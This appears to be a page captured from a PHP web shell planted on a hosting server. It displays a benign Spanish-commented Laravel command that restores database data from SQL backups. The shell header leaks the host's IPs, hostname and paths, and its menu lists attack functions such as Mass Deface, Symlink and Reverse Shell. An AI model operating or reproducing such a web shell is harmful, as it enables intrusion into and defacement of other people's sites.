Tul xxx Tul
User / IP
:
216.73.216.159
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
ventas
/
app
/
Console
/
Commands
/
Viewing: RestoreDataOnly.php
<?php namespace App\Console\Commands; use Illuminate\Console\Command; use Illuminate\Support\Facades\File; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Log; use Illuminate\Support\Facades\Schema; class RestoreDataOnly extends Command { /** * The name and signature of the console command. * * @var string */ protected $signature = 'backup:restore-data {file : Nombre del archivo de backup} {--force : Forzar la restauración sin confirmación}'; /** * The console command description. * * @var string */ protected $description = 'Restaura solo los datos de la base de datos, preservando la estructura de tablas'; /** * Execute the console command. */ public function handle() { try { $filename = $this->argument('file'); $backupPath = storage_path('app/backups/' . $filename); if (!File::exists($backupPath)) { $this->error("El archivo de backup no existe: {$filename}"); Log::error("Intento de restaurar un archivo inexistente", [ 'filename' => $filename, 'path' => $backupPath ]); return 1; } // Confirmar la acción a menos que se use --force if (!$this->option('force') && !$this->confirm('Esta acción limpiará todas las tablas y restaurará solo los datos. ¿Desea continuar?')) { $this->info('Operación cancelada por el usuario'); return 0; } // Crear un backup previo por seguridad $this->call('backup:database'); $this->info('Iniciando restauración de datos...'); Log::info('Iniciando restauración de datos', ['filename' => $filename]); // Aumentar límites de tiempo y memoria ini_set('max_execution_time', 600); // 10 minutos ini_set('memory_limit', '512M'); // Leer el contenido del archivo SQL $sqlContent = File::get($backupPath); // Procesar el contenido SQL para extraer solo las sentencias INSERT $this->info('Analizando archivo de backup...'); // Desactivar restricciones de clave foránea DB::statement('SET FOREIGN_KEY_CHECKS=0'); // Contador de inserciones $insercionesExitosas = 0; $insercionesFallidas = 0; $tablasLimpiadas = []; try { // Extraer todas las sentencias INSERT $pattern = '/INSERT INTO `([^`]+)`/'; preg_match_all($pattern, $sqlContent, $matches); // Obtener tablas únicas $tablas = array_unique($matches[1]); $this->info('Tablas encontradas en el backup: ' . count($tablas)); // Limpiar tablas antes de insertar foreach ($tablas as $tabla) { // Verificar si la tabla existe en la base de datos actual if (Schema::hasTable($tabla)) { $this->info("Limpiando tabla: {$tabla}"); DB::table($tabla)->delete(); $tablasLimpiadas[] = $tabla; // Reiniciar el auto_increment DB::statement("ALTER TABLE `{$tabla}` AUTO_INCREMENT = 1"); } else { $this->warn("La tabla {$tabla} no existe en la base de datos actual y será omitida"); } } // Procesar INSERT línea por línea (método robusto) $this->info('Procesando sentencias INSERT línea por línea...'); // Extraer INSERT procesando línea por línea $lines = explode("\n", $sqlContent); $matches = []; $currentInsertTable = null; $currentInsertColumns = ''; $currentInsertValues = ''; $inInsertStatement = false; foreach ($lines as $line) { $line = trim($line); // Detectar inicio de INSERT if (preg_match('/^INSERT INTO `([^`]+)`\s*(\([^)]+\))?\s*VALUES\s*(.*)$/i', $line, $match)) { // Si había un INSERT previo, guardarlo if ($inInsertStatement && $currentInsertTable) { $matches[] = [ 0 => "INSERT INTO `{$currentInsertTable}` {$currentInsertColumns} VALUES {$currentInsertValues};", 1 => $currentInsertTable, 2 => $currentInsertColumns, 3 => $currentInsertValues ]; } // Iniciar nuevo INSERT $currentInsertTable = $match[1]; $currentInsertColumns = isset($match[2]) ? $match[2] : ''; $currentInsertValues = isset($match[3]) ? $match[3] : ''; $inInsertStatement = true; // Si termina con ; en la misma línea, es un INSERT completo if (substr($line, -1) === ';') { $currentInsertValues = rtrim($currentInsertValues, ';'); $matches[] = [ 0 => "INSERT INTO `{$currentInsertTable}` {$currentInsertColumns} VALUES {$currentInsertValues};", 1 => $currentInsertTable, 2 => $currentInsertColumns, 3 => $currentInsertValues ]; $inInsertStatement = false; $currentInsertTable = null; $currentInsertColumns = ''; $currentInsertValues = ''; } } elseif ($inInsertStatement) { // Continuar acumulando el INSERT de múltiples líneas $currentInsertValues .= ' ' . $line; // Si termina con ;, es el final del INSERT if (substr($line, -1) === ';') { $currentInsertValues = rtrim($currentInsertValues, ';'); $matches[] = [ 0 => "INSERT INTO `{$currentInsertTable}` {$currentInsertColumns} VALUES {$currentInsertValues};", 1 => $currentInsertTable, 2 => $currentInsertColumns, 3 => $currentInsertValues ]; $inInsertStatement = false; $currentInsertTable = null; $currentInsertColumns = ''; $currentInsertValues = ''; } } } // Guardar último INSERT si quedó pendiente if ($inInsertStatement && $currentInsertTable) { $currentInsertValues = rtrim($currentInsertValues, ';'); $matches[] = [ 0 => "INSERT INTO `{$currentInsertTable}` {$currentInsertColumns} VALUES {$currentInsertValues};", 1 => $currentInsertTable, 2 => $currentInsertColumns, 3 => $currentInsertValues ]; } $this->info('Sentencias INSERT encontradas: ' . count($matches)); Log::info('Sentencias INSERT encontradas mediante parseo línea por línea', [ 'total_inserts' => count($matches), 'metodo' => 'linea_por_linea' ]); // Si no se encontraron sentencias INSERT, intentar con otro patrón más simple if (count($matches) == 0) { $this->info('Intentando con patrón alternativo...'); $pattern = '/INSERT INTO.*?;/s'; preg_match_all($pattern, $sqlContent, $rawMatches); if (!empty($rawMatches[0])) { $this->info('Encontradas ' . count($rawMatches[0]) . ' sentencias INSERT en bruto'); // Ejecutar directamente las sentencias encontradas foreach ($rawMatches[0] as $index => $rawInsert) { try { DB::statement($rawInsert); $insercionesExitosas++; // Mostrar progreso if (($index + 1) % 10 == 0 || $index == count($rawMatches[0]) - 1) { $this->info("Ejecutada sentencia " . ($index + 1) . "/" . count($rawMatches[0])); } } catch (\Exception $e) { $insercionesFallidas++; $this->error("Error al ejecutar sentencia: " . $e->getMessage()); Log::error("Error al ejecutar sentencia SQL", [ 'error' => $e->getMessage(), 'query' => substr($rawInsert, 0, 200) . '...' ]); } } } else { $this->warn('No se encontraron sentencias INSERT en el archivo de backup'); } } else { // CORRECCIÓN: Agrupar todas las sentencias INSERT por tabla $insertsPorTabla = []; foreach ($matches as $match) { $tabla = $match[1]; // Verificar si la tabla existe if (!Schema::hasTable($tabla)) { $this->warn("Omitiendo inserciones para la tabla inexistente: {$tabla}"); continue; } // Acumular los INSERT de esta tabla if (!isset($insertsPorTabla[$tabla])) { $insertsPorTabla[$tabla] = []; } $insertsPorTabla[$tabla][] = [ 'columns' => isset($match[2]) ? $match[2] : '', 'values' => $match[3] ]; } $this->info('Tablas con datos: ' . count($insertsPorTabla)); Log::info('Tablas agrupadas para restauración', [ 'total_tablas' => count($insertsPorTabla), 'tablas' => array_keys($insertsPorTabla), 'bloques_por_tabla' => array_map('count', $insertsPorTabla) ]); // Procesar cada tabla con TODOS sus INSERT acumulados foreach ($insertsPorTabla as $tabla => $todosLosInserts) { $this->info("Procesando tabla: {$tabla} con " . count($todosLosInserts) . " bloques INSERT"); Log::info("Procesando tabla {$tabla}", [ 'bloques_insert' => count($todosLosInserts) ]); // Obtener las columnas de la tabla $columnasDB = Schema::getColumnListing($tabla); // Recopilar TODOS los valores de TODOS los INSERT de esta tabla $todosLosValores = []; $columnasBackup = []; foreach ($todosLosInserts as $indiceInsert => $insertData) { $columnsPart = $insertData['columns']; $valuesStatement = $insertData['values']; // Extraer las columnas del INSERT (solo del primer INSERT) if ($indiceInsert === 0) { if (!empty($columnsPart)) { // Si las columnas están especificadas en el INSERT preg_match('/\(([^)]+)\)/', $columnsPart, $columnMatches); if (isset($columnMatches[1])) { $columnasBackup = array_map('trim', explode(',', str_replace('`', '', $columnMatches[1]))); } } else { // Si no hay columnas especificadas, necesitamos inferir cuáles eran $this->warn(" ⚠ INSERT sin columnas - detectando estructura"); // Extraer un valor de ejemplo para contar cuántas columnas tiene el backup $pattern = '/\(([^)]+)\)/'; preg_match($pattern, $valuesStatement, $valueMatch); if (isset($valueMatch[1])) { $valoresEjemplo = $this->parseValues($valueMatch[0]); $numValoresBackup = count($valoresEjemplo); $numColumnasDB = count($columnasDB); $this->info(" Valores en backup: $numValoresBackup"); $this->info(" Columnas en BD: $numColumnasDB"); if ($numValoresBackup < $numColumnasDB) { // El backup tiene menos columnas - usar solo las primeras N $columnasBackup = array_slice($columnasDB, 0, $numValoresBackup); $this->warn(" ⚠ Backup tiene menos columnas - usando primeras $numValoresBackup"); } else { // Mismo número o más - usar todas $columnasBackup = $columnasDB; } Log::warning("INSERT sin columnas para tabla {$tabla}", [ 'columnas_bd' => $numColumnasDB, 'valores_backup' => $numValoresBackup, 'columnas_usadas' => count($columnasBackup) ]); } else { // No se pudo extraer valores - usar todas las columnas $columnasBackup = $columnasDB; $this->warn(" ⚠ No se pudo contar valores - usando todas las columnas"); } } } // Extraer los conjuntos de valores de ESTE INSERT $pattern = '/\(([^)]+)\)/'; preg_match_all($pattern, $valuesStatement, $valueMatches); // Agregar a la colección total foreach ($valueMatches[0] as $valorConjunto) { $todosLosValores[] = $valorConjunto; } } $this->info(" - Total de registros encontrados: " . count($todosLosValores)); Log::info("Registros totales encontrados en tabla {$tabla}", [ 'total_valores' => count($todosLosValores), 'bloques_procesados' => count($todosLosInserts) ]); $this->info(" - Columnas en el backup: " . implode(", ", $columnasBackup)); $this->info(" - Columnas en la BD: " . implode(", ", $columnasDB)); // Verificar compatibilidad de columnas $columnasCompatibles = array_intersect($columnasBackup, $columnasDB); // Si el INSERT no tenía columnas y faltan algunas, usar TODAS las columnas de la BD $usarTodasColumnas = (count($columnasBackup) < count($columnasDB)); if ($usarTodasColumnas) { $this->warn(" ⚠ Detectadas columnas faltantes - insertando con valores NULL para nuevas columnas"); $columnasParaInsert = $columnasDB; // Usar TODAS las columnas } else { $columnasParaInsert = $columnasCompatibles; // Solo las compatibles } $this->info(" - Columnas compatibles: " . count($columnasCompatibles)); $this->info(" - Columnas para INSERT: " . count($columnasParaInsert)); if (count($columnasCompatibles) > 0 && count($todosLosValores) > 0) { // Procesar en lotes de 50 $lotes = array_chunk($todosLosValores, 50); $this->info(" - Procesando " . count($lotes) . " lotes"); foreach ($lotes as $index => $lote) { try { // Construir sentencia INSERT para este lote $insertQuery = "INSERT INTO `{$tabla}` (`" . implode("`, `", $columnasParaInsert) . "`) VALUES "; $valuesArray = []; foreach ($lote as $values) { // Extraer los valores individuales respetando las comillas $valoresIndividuales = $this->parseValues($values); // Mapear valores a las columnas de destino $valoresParaInsertar = []; foreach ($columnasParaInsert as $columna) { $posicionEnBackup = array_search($columna, $columnasBackup); if ($posicionEnBackup !== false && isset($valoresIndividuales[$posicionEnBackup])) { // Valor existe en el backup $valoresParaInsertar[] = $this->formatearValorSQL($valoresIndividuales[$posicionEnBackup]); } else { // Columna nueva que no está en el backup - usar NULL $valoresParaInsertar[] = 'NULL'; } } $valuesArray[] = "(" . implode(", ", $valoresParaInsertar) . ")"; } $insertQuery .= implode(", ", $valuesArray); // Ejecutar la inserción DB::statement($insertQuery); $insercionesExitosas += count($lote); // Mostrar progreso if (($index + 1) % 10 == 0 || $index == count($lotes) - 1) { $this->info(" - Lote " . ($index + 1) . "/" . count($lotes) . " completado"); } // Liberar memoria unset($valuesArray); unset($lote); gc_collect_cycles(); } catch (\Exception $e) { $insercionesFallidas += count($lote); $this->error("Error al insertar en {$tabla}: " . $e->getMessage()); Log::error("Error al insertar en {$tabla}", [ 'error' => $e->getMessage(), 'trace' => $e->getTraceAsString(), 'query' => $insertQuery ?? 'No disponible' ]); } } } else { $this->warn("No hay columnas compatibles para la tabla {$tabla}"); } } } $this->info('Restauración de datos completada'); $this->info("Tablas limpiadas: " . count($tablasLimpiadas)); $this->info("Inserciones exitosas: {$insercionesExitosas}"); if ($insercionesFallidas > 0) { $this->warn("Inserciones fallidas: {$insercionesFallidas}"); } } finally { // Reactivar restricciones de clave foránea DB::statement('SET FOREIGN_KEY_CHECKS=1'); } Log::info('Restauración de datos completada', [ 'tablas_limpiadas' => count($tablasLimpiadas), 'inserciones_exitosas' => $insercionesExitosas, 'inserciones_fallidas' => $insercionesFallidas ]); // Contar registros finales por tabla para verificación $conteoFinal = []; $totalFinal = 0; foreach ($tablasLimpiadas as $tabla) { if (Schema::hasTable($tabla)) { $count = DB::table($tabla)->count(); $conteoFinal[$tabla] = $count; $totalFinal += $count; } } Log::info('Conteo final de registros después de restauración', [ 'total_registros' => $totalFinal, 'por_tabla' => $conteoFinal ]); $this->info("Total de registros restaurados: {$totalFinal}"); return 0; } catch (\Exception $e) { $this->error('Error al restaurar los datos: ' . $e->getMessage()); Log::error('Error al restaurar los datos', [ 'error' => $e->getMessage(), 'trace' => $e->getTraceAsString() ]); return 1; } } /** * Procesa los valores para asegurarse de que estén correctamente formateados para SQL */ private function formatearValorSQL($valor) { // Eliminar comillas simples al inicio y final si existen $valor = trim($valor, "'"); // Si es NULL, devolverlo como está if (strtoupper($valor) === 'NULL') { return 'NULL'; } // Si es un número, devolverlo como está if (is_numeric($valor)) { return $valor; } // Si es una fecha o datetime en formato ISO, mantener las comillas simples if (preg_match('/^\d{4}-\d{2}-\d{2}( \d{2}:\d{2}:\d{2})?$/', $valor)) { return "'" . $valor . "'"; } // Para cualquier otro valor, escapar las comillas simples y añadir comillas return "'" . str_replace("'", "''", $valor) . "'"; } /** * Parsea una cadena de valores respetando las comillas */ private function parseValues($values) { // Eliminar los paréntesis externos $values = trim($values, '()'); $valoresIndividuales = []; $valorActual = ''; $comillasAbiertas = false; for ($i = 0; $i < strlen($values); $i++) { $caracter = $values[$i]; if ($caracter == "'" && ($i == 0 || $values[$i-1] != '\\')) { $comillasAbiertas = !$comillasAbiertas; $valorActual .= $caracter; } elseif ($caracter == ',' && !$comillasAbiertas) { $valoresIndividuales[] = trim($valorActual); $valorActual = ''; } else { $valorActual .= $caracter; } } if (!empty($valorActual)) { $valoresIndividuales[] = trim($valorActual); } return $valoresIndividuales; } }
Coded With 💗 by
0x6ick